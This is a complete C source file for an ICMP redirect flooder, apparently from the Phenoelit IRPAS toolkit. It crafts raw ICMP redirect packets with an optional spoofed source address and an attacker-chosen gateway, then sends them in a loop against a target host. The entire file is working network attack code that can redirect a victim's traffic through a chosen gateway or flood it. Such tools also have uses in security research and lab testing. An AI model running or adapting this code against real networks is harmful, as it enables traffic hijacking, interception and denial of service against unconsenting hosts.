/* ICMP redirect flooder
 *
 * FX <fx@phenoelit.de>
 * Phenoelit (http://www.phenoelit.de)
 * (c) 2k++
 *
 * $Id: icmp_redflod.c,v 1.3 2002/05/11 14:59:06 fx Exp fx $
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>
#include <rpc/types.h>
#include <netdb.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <errno.h>
#include <signal.h>
#include <time.h>

#include "protocols.h"
#include "packets.h"
#include "build.h"

#include <pcap.h>
#include <net/bpf.h>

/* definitions */
#define IPTTL		0x80

#define DEFAULT_DELAY	100000

#define BANNER		"ICMP Redir Flooder $Revision: 1.3 $\n"\
			"\t(c) 2k++ FX <fx@phenoelit.de>\n"\
			"\tPhenoelit (http://www.phenoelit.de)\n"

/* config */
struct {
    int			verbose;
    char		*device;
    int			flood;

    int			spoof_src;
    int			code;
    struct in_addr	dest;
    struct in_addr	src;
    struct in_addr	gw;
    unsigned int	delay;
} cfg;


/*
 * globals 
 */
u_char			*rawpacket;
int			icmpsfd;

sig_atomic_t		stop_flag=0;
unsigned long		iii=0;


/************************************
 * prototypes */
void	usage(char *n);

u_char	*construct_icmp_redirect(struct in_addr *dest,
	struct in_addr *newgw, int *psize);

/* PCAP */
void	signaler(int sig);


/* the main function */
int	main(int argc, char **argv) {
    char		option;
    extern char		*optarg;
    u_char		*icp;
    int			icl;


    memset(&cfg,0,sizeof(cfg));
    cfg.delay=DEFAULT_DELAY; cfg.flood=1; cfg.code=0xFF;
    while ((option=getopt(argc,argv,"vfc:i:S:G:D:w:"))!=EOF) {
	switch (option) {
	    case 'v':	/* verbose */
			cfg.verbose++;
			break;
	    case 'f':	cfg.flood=0;
			break;
	    case 'i':	/* local network device */
			cfg.device=smalloc(strlen(optarg)+1);
			strcpy(cfg.device,optarg);
			break;
			break;
	    case 'S':	/* spoof source */
			if (inet_aton(optarg,&(cfg.src))==0) {
			    fprintf(stderr,
				    "source IP address seems to be wrong\n");
			    return (1);
			}
			cfg.spoof_src++;
			break;
	    case 'G':	/* set gw */
			if (inet_aton(optarg,&(cfg.gw))==0) {
			    fprintf(stderr,
				    "Gateway IP address seems to be wrong\n");
			    return (1);
			}
			break;
	    case 'D':	/* dest address */
			if (inet_aton(optarg,&(cfg.dest))==0) {
			    fprintf(stderr,
				    "dest IP address seems to be wrong\n");
			    return (1);
			}
			break;
	    case 'w':	cfg.delay=atoi(optarg);
			break;
	    case 'c':	cfg.code=atoi(optarg);
			break;
	    default:	usage(argv[0]);
	}
    }

    if (!cfg.device) usage(argv[0]);

    /*
     * TODO: add output on what we are about to do 
     */
	

    srand((unsigned int)time(NULL));
    /* set up ICMP sender socket (IP) */
    if ((icmpsfd=init_socket_IP4(cfg.device,0))<0) return (-1);
    
    /* if spoofing is enabled, copy it */
    if (!cfg.spoof_src) {
	memcpy(&(cfg.src.s_addr), &(packet_ifconfig.ip.s_addr), IP_ADDR_LEN);
    }

    /* signal handling */
    signal(SIGTERM,&signaler);
    signal(SIGABRT,&signaler);
    signal(SIGINT,&signaler);

    /* my shit */
    printf(BANNER); printf("\tIRPAS build %s\n",BUILD);
    printf("Performing flood ...\n");

    if (cfg.flood) {
	while (!stop_flag) {
	    icp=construct_icmp_redirect(&(cfg.dest),&(cfg.gw),&icl);
	    sendpack_IP4(icmpsfd,icp,icl);
	    free(icp);
	    if (cfg.delay>0) usleep(cfg.delay);
	}
    } else {
	icp=construct_icmp_redirect(&(cfg.dest),&(cfg.gw),&icl);
	sendpack_IP4(icmpsfd,icp,icl);
	free(icp);
    }

    /* at the end of the day, close our socket */
    close(icmpsfd);
    printf("Send %lu packets\n",iii);

    return (0);
}




/********************** FUNCTIONS **********************/


void	signaler(int sig) {
    stop_flag++;
    if (cfg.verbose>2)
	fprintf(stderr,"\nSignal received.\n");
}


/* constructs the ICMP redirect
 * * Returns a pointer to the packet or NULL if failed
 * * returns also the size in *psize */
u_char	*construct_icmp_redirect(struct in_addr *dest,
	struct in_addr *newgw, int *psize) {
#define PADDING 0
    u_char			*tpacket;
    iphdr_t			*iph,*iporig;
    icmp_redirect_t		*icmp;
    u_int16_t			cs;
    unsigned int		randip;

    *psize=sizeof(icmp_redirect_t)+sizeof(iphdr_t)+PADDING;
    tpacket=(u_char *)smalloc(*psize
	    +3 /* for my checksum function, which sometimes 
		  steps over the mark */
	    );

    /* make up IP packet */
    iph=(iphdr_t *)tpacket;

    iph->version=4;
    iph->ihl=sizeof(iphdr_t)/4;

    iph->tot_len=htons(*psize);
    iph->ttl=IPTTL;
    iph->id=htons(1+(int) (65535.0*rand()/(RAND_MAX+1.0)));
    iph->protocol=IPPROTO_ICMP;

    memcpy(&(iph->saddr.s_addr),&(cfg.src.s_addr),IP_ADDR_LEN);
    memcpy(&(iph->daddr.s_addr),&(dest->s_addr),IP_ADDR_LEN);

    /* make up the icmp header */
    icmp=(icmp_redirect_t *)(tpacket+sizeof(iphdr_t));
    icmp->type=ICMP_REDIRECT;
    if (cfg.code==0xFF) 
	icmp->code=ICMP_REDIR_HOST;
    else 
	icmp->code=(unsigned char)cfg.code;
    memcpy(&(icmp->gateway),&(newgw->s_addr),IP_ADDR_LEN);
    iporig=(iphdr_t *)(&(icmp->headerdata));

    iporig->version=4;
    iporig->ihl=sizeof(iphdr_t)/4;
    iporig->tot_len=htons(1+(int) (65535.0*rand()/(RAND_MAX+1.0)));
    iporig->id=htons(1+(int) (65535.0*rand()/(RAND_MAX+1.0)));
    iporig->protocol=IPPROTO_UDP;
    memcpy(&(iporig->saddr.s_addr),&(cfg.dest.s_addr),IP_ADDR_LEN);
    randip=((unsigned int)(4294967294.0*rand()/(RAND_MAX+1.0)));
    memcpy(&(iporig->daddr.s_addr),&(randip),IP_ADDR_LEN);
    iii++;

    /* make up checksum */
    cs=chksum((u_char *)icmp,sizeof(icmp_redirect_t));
    icmp->checksum=cs;

    return tpacket;
}

void	usage(char *n) {
    printf(
	    "%s [-v[v[v]]] [-f] -i <interface> \n"
	    "\t[-D <destination IP>\n"
	    "\t[-G <gateway IP>] [-w <delay>]\n"
	    "\t[-S <ip address>] [-c ICMP code]\n",
	    n);
    exit (1);
}
